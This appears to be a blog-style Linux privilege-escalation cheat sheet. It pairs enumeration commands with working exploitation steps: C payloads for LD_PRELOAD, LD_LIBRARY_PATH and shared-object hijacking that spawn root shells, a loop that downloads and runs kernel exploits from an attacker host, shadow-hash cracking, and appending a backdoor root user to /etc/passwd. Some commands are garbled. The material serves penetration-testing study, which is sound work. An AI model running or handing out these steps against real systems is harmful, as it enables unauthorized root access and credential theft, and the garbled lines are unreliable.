10 minute read

Start with Common Commands

0. Check History

history

1. Check Sudo Permissions

sudo -l

2. Find SUID Binaries

find / -perm -4000 -type f 2>/dev/null

3. Search for Writable Files Owned by Root

find / -writable -user root -type f 2>/dev/null

4. Enumerate Cron Jobs

cat /etc/crontab
ls -la /etc/cron.*

5. Check for Kernel Version (for exploits)

uname -a

6. Search for Passwords in Config Files

grep -Ri 'password' /etc/*

7. List Running Processes and Services

ps aux
netstat -tulnp

8. Check for Users and Home Directories

cat /etc/passwd
ls -la /home/

9. Check Capabilities of Binaries

getcap -r / 2>/dev/null

10. Look for SSH Keys

find / -name id_rsa 2>/dev/null

Linux File System

Directory Description
/root Root user’s home directory. Usually only accessible by the root user.
/home User directories. Useful for identifying usernames.
/etc System configuration files. Contains important files like passwd and shadow.
/bin & /sbin System binaries. Contains essential commands for all users (/bin) and for root (/sbin).
/usr User-installed binaries and libraries.
/var Contains logs. If running Apache, web files may also be found here.
/dev Device drivers and special device files.
/lib Shared libraries needed by binaries in /bin and /sbin.
/boot Contains files necessary for booting the system (like the kernel).
/mnt Mount point for external media like USBs and CDs.
/proc Virtual filesystem with process information, represented by process numbers.
/tmp Temporary files. Typically world-readable and writable.

Kernel Exploits

Often leads to root access

  • Kernels are the core of any operating system.
  • Think of it as a layer between application software and the actual computer hardware.
  • The kernel has complete control over the operating system. Exploiting a kernel vulnerability can result in execution as the root user.

Finding kernel exploit

  1. Enumerate kernel version - **uname -a**
  2. Find matching exploits ( Google, ExploitDB, Github)
  3. Compile and run.

note: Beware though, as Kernel exploits can often be unstable and may be one-shot or cause a system crash.

Linux Local Exploit

linux-exploit-suggester
unix_privesc_check
kernel 2.4.x / 2.6.x (sock_sendpage 1)
kernel 2.4 / 2.6 (sock_sendpage 2)
kernel < 2.6.22 (ftruncate)
kernel < 2.6.34 (cap_sys_admin)
kernel 2.6.27 < 2.6.36 (compat)
kernel < 2.6.36-rc1 (can bcm)
kernel <= 2.6.36-rc8 (rds protocol)
kernel < 2.6.36.2 (half nelson)
kernel <= 2.6.37 (full nelson)
kernel 2.6 (udev)
kernel 3.13 (sgid)
kernel 3.13.0 < 3.19 (overlayfs 1)
kernel 3.14.5 (libfutex)
kernel 2.6.39 <= 3.2.2 (mempodipper)
kernel 2.6.28 / 3.0 (alpha-omega)
kernel 2.6.22 < 3.9 (Dirty Cow)
kernel 3.7.6 (msr)
kernel < 3.8.9 (perf_swevent_init)
kernel <= 4.3.3 (overlayfs 2)
kernel 4.3.3 (overlayfs 3)
kernel 4.4.0 (af_packet)
kernel 4.4.x (double-fdput)
kernel 4.4.0-21 (netfilter)
kernel 4.4.1 (refcount)

Other exploits

  • Linux Kernel 2.6.39 - 3.2.2 (Gentoo / Ubuntu x86/x64) - ‘Mempodipper’ Local Privilege Escalation:
    • https://www.exploit-db.com/exploits/18411/
    • https://www.securityfocus.com/bid/51625/info
    • CVE-2012-0056
  • Linux Kernel 2.6.22 - 3.9 (x86/x64) - ‘Dirty COW /proc/self/mem’ Race Condition Privilege Escalation (SUID Method):
    • https://www.exploit-db.com/exploits/40616/
    • CVE-2016-5195
  • Linux Kernel 2.2.x/2.4.x (RedHat) - ‘ptrace/kmod’ Local Privilege Escalation
    • https://www.exploit-db.com/exploits/3/
    • http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
    • CVE-2003-0127
  • Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV below 1.4.1 - Local Privilege Escalation (1)
    • https://www.exploit-db.com/exploits/8478/
    • exploit/linux/local/udev_netlink

Exploits worth running

  • Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation 
    https://www.exploit-db.com/exploits/37292
  • CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 
    https://www.exploit-db.com/exploits/15285/
  • Linux Kernel <= 2.6.37 ‘Full-Nelson.c’ 
    https://www.exploit-db.com/exploits/15704/
  • CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) 
    https://git.zx2c4.com/CVE-2012-0056/about/
  • Linux CVE 2012-0056 
    wget -O exploit.c <http://www.exploit-db.com/download/18411>

    gcc -o mempodipper exploit.c

    ./mempodipper
  • CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 
    https://dirtycow.ninja/
  • Compile dirty cow: 
     g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
  • Cross compiling exploits 
    gcc -m32 -o output32 hello.c #(32 bit)

    gcc -m64 -o output hello.c # (64 bit)
  • Linux 2.6.32 
    https://www.exploit-db.com/exploits/15285/
  • Elevation in 2.6.x: 
    for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done

Collecting Information

OS, Kernel & Hostname

Important for kernel exploit

This will print information about operating system and kernel related information , useful in kernel exploitation

cat /etc/lsb-release
cat /etc/issue
cat /proc/version
hostname
uname -a

Users

/etc/passwd
/etc/shadow

Current user and active session:

cat /etc/passwd
id
who
w

Network Information

Network Adapters

ifconfig
ip a

Print Routing tables

route

Print the active connections

netstat -antup

Print the arp entries

arp -e

/proc/net/

more discreet, all the information given by the above commands can be found by looking into the files under /proc/net, and this approach is less likely to trigger monitoring or other stuff

cat /proc/net/*

Application and Services

Retrieve information about services

ps aux
ps aux | grep root
ps aux | grep "^root"
<program> --version
<program> -v
dpkg -l | grep <program>
# On Debian-like distributions, dpkg can show installed programs and their version
rpm –qa | grep <program>
# On systems that use rpm, the following achieves the same

To retrieve installed applications

dpkg -l
# Debian OS
rpm -qa
# Fedora based OS
pacman -Qe
# Arch based OS
pkginfo
# SOlaris
cd /var/db/pkg/ && ls -d */*
# Gentoo

Sudo and Sudoers

https://gtfobins.github.io/

Useful commands

# Run a program using sudo:
sudo <program>
# Run a program as a specific user:
sudo -u <username><program>
# List programs a user is allowed to run:
sudo -l
# Login as another user:
sudo -i -u scriptmanager

LD_PRELOAD

LD_PRELOAD is an environment variable which can be set to the path of a shared object (.so) file.

When set, the shared object will be loaded before any others.

By creating a custom shared object and creating an init() function, we can execute code as soon as the object is loaded.

**Exploitation **

1. Run sudo -l to check if env_keepoption is set

env_keep+=LD_PRELOAD
  1. Create a file (preload.c) with the following contents:
#include <stdio.h> 
#include <sys/types.h> 
#include <stdlib.h> 
void _init() { 
    unsetenv("LD_PRELOAD"); 
    setresuid(0,0,0); 
    system("/bin/bash -p"); 
}
  1. Compile preload.c to preload.so:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
  1. Run any allowed program using sudo, while setting the LD_PRELOAD environment variable to the full path of the preload.so file:
sudo LD_PRELOAD=/tmp/preload.so apache2

LD_LIBRARY_PATH

The LD_LIBRARY_PATH environment variable contains a set of directories where shared libraries are searched for first.

The ldd command can be used to print the shared libraries used by a program:

ldd /usr/sbin/apache2

By creating a shared library with the same name as one used by a program, and setting LD_LIBRARY_PATH to its parent directory, the program will load our shared library instead.

**Exploitation **

1. Run sudo -l to check if env_keepoption is set

env_keep+=LD_LIBRARY_PATH

2. Run lld against the apache2 program file -

$ ldd /usr/sbin/apache2 
linux-vdso.so.1 => (0x00007fff063ff000) ... 
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7d4199d000) 
libdl.so.2 => /lib/libdl.so.2 (0x00007f7d41798000) 
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7d41570000) 
/lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)

Hijacking shared objects using this method is hit or miss. Choose one from the list and try it (libcrypt.so.1 seems to work well).

  1. Create a file (library_path.c) with the following contents:
#include <stdio.h> 
#include <stdlib.h> 
static void hijack() __attribute__((constructor)); 
void hijack() { 
    unsetenv("LD_LIBRARY_PATH"); 
    setresuid(0,0,0); 
    system("/bin/bash -p"); 
}
  1. Compile library_path.c into libcrypt.so.1:
gcc -o libcrypt.so.1 -shared -fPIC library_path.c
  1. Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to the current path (where we compiled library_path.c):
sudo LD_LIBRARY_PATH=. apache2

Cron Jobs

  • Cron jobs are programs or scripts which users can schedule to run at specific times or intervals.
  • Cron jobs run with the security level of the user who owns them.
cat /etc/crontab
crontab -e

Weak File Permission

Misconfiguration of file permissions associated with cron jobs can lead to easy privilege escalation. If we can write to a program or script which gets run as part of a cron job, we can replace it with our own code (Most of time reverse shell)

ls -la <Path_of_file_using_in_cronjob>

PATH Environment Variable

The crontab PATH environment variable is by default set to /usr/bin:/bin

The PATH variable can be overwritten in the crontab file.

If a cron job program/script does not use an absolute path, and one of the PATH directories is writable by our user, we may be able to create a program/script with the same name as the cron job.

Steps to check -

  1. First print $PATH variable to see if we can manipulate it according to our need
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
  1. Adding our own path to $PATH where we can write our own malicious binary , in this example /tmp directory
export PATH=/tmp:$PATH

it will add /tmp in front of PATH variable so now when cron job run , it will start looking for that particular binary through $PATH variable and since we put our own path in starting , it will first look for that file in that directory so we ned to put our own malicious binary with same name in our directory

  1. Put your malicious binary in directory which you added to $PATH
cd /tmp
echo "/bin/bash" > <binary>
chmod +x <binary>

/etc/shadow

If you are able to read this file

head -n 1 /etc/shadow

  1. Extract the root user’s password

  2. Save the password hash in a file

echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl XvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt'
  1. Crack the password hash using john
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.t xt hash.txt

If you have writable permission

1. Generate a new SHA-512 password hash -

mkpasswd -m sha-512 newpassword
  1. Edit the /etc/shadow and replace the root user’s password hash with the one we generated.

/etc/passwd

If you have writable permission

openssl passwd "password"

  1. Generate a password using opnssl

  2. Edit the /etc/passwd file and enter the hash in the second field of the root user row in the place of ‘x’

  3. Or you can do it append a new row to it to create an alternate root user

echo "newroot:L9yLGxncbOROc:0:0:root:/root:/bin/bash" >> /etc/passwd

SUID - SGID

Finding SUID and SGID

find / -perm -4000 2>/dev/null
# Print all suid
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
# Print both SUID and SGID

If you get any unusual binary set with SUID or SGID bit , always check on https://gtfobins.github.io/ to get exploitation steps to achieve root

Shared Object Injection

When a program is executed, it will try to load the shared objects it requires.

By using a program called strace, we can track these system calls and determine whether any shared objects were not found.

If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

Exploitation -

1. Find SUID/SGID files on the target:

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null 
... 
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so 
...

The suid-so file should execute with root user permissions.

  1. Run strace on the SUID file:
$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" 
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) 
... 
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

The libcalc.so shared object could not be found, and the program is looking in our user’s home directory, which we can write to.

  1. Create the /home/user/.config directory

  2. Create the file libcalc.c with the following contents:

#include <stdio.h> 
#include <stdlib.h> 
static void inject() __attribute__((constructor)); 
void inject() { 
    setuid(0); 
    system("/bin/bash -p"); 
}
  1. Compile libcalc.c into /home/user/.config/libcalc.so:
gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
  1. Run the SUID executable to get a root shell:
/usr/local/bin/suid-so

Path Manipulation

It is very simple to view the Path of the relevant user with help of echo command.

echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Exploitation

If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.

Passwords and configs

Finding different information

Scan for password or credential word in files

grep -rnw / -e 'password\|pass\|creds\|credentials' 2>/dev/null -i
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

Find all directories which can be written to

find / -executable -writable -type d 2> /dev/null

Find all writable files and readable files

find /etc -maxdepth 1 -writable -type f
# Search for writable files in /etc
find /etc -maxdepth 1 -readable -type f
# Search for readable files in /etc

Configs

ls -aRl /etc/ * awk '$1 ~ /w.$/' * grep -v lrwx 2>/dev/nullte    
cat /etc/issue{,.net}
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.confcda
cat /etc/inetd.conf    
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
find /etc/sysconfig/ -type f -exec cat {} \;

You May Also Enjoy

Linux

less than 1 minute read